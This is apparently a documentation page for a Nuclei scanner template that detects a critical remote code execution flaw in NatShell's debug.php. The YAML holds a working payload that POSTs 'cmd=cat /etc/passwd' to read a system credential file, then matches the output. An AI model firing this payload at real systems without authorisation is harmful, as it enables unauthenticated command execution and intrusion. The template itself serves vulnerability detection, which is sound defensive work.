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NatShell Debug File - Remote Code Execution

ID: natshell-rce

Severity: critical

Author: pikpikcu

Tags: natshell,rce

Description

Section titled “Description”

The NatShell debug file is susceptible to a remote code execution vulnerability.

YAML Source

Section titled “YAML Source”
id: natshell-rce


info:
  name: NatShell Debug File - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    The NatShell debug file is susceptible to a remote code execution vulnerability.
  reference:
    - https://mp.weixin.qq.com/s/g4YNI6UBqIQcKL0TRkKWlw
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: natshell,rce


http:
  - method: POST
    path:
      - "{{BaseURL}}/debug.php"


    body: |
      cmd=cat /etc/passwd


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "toor:[x*]:0:0"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b8b2418535421f6ccaf8f890540974278686f0dd19d6c200274a7940a664728f02200ab29819d9c49d14b22c72a967b654f04bf7f066ee7540779375846fe39bc742:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/natshell-rce.yaml"

View on Github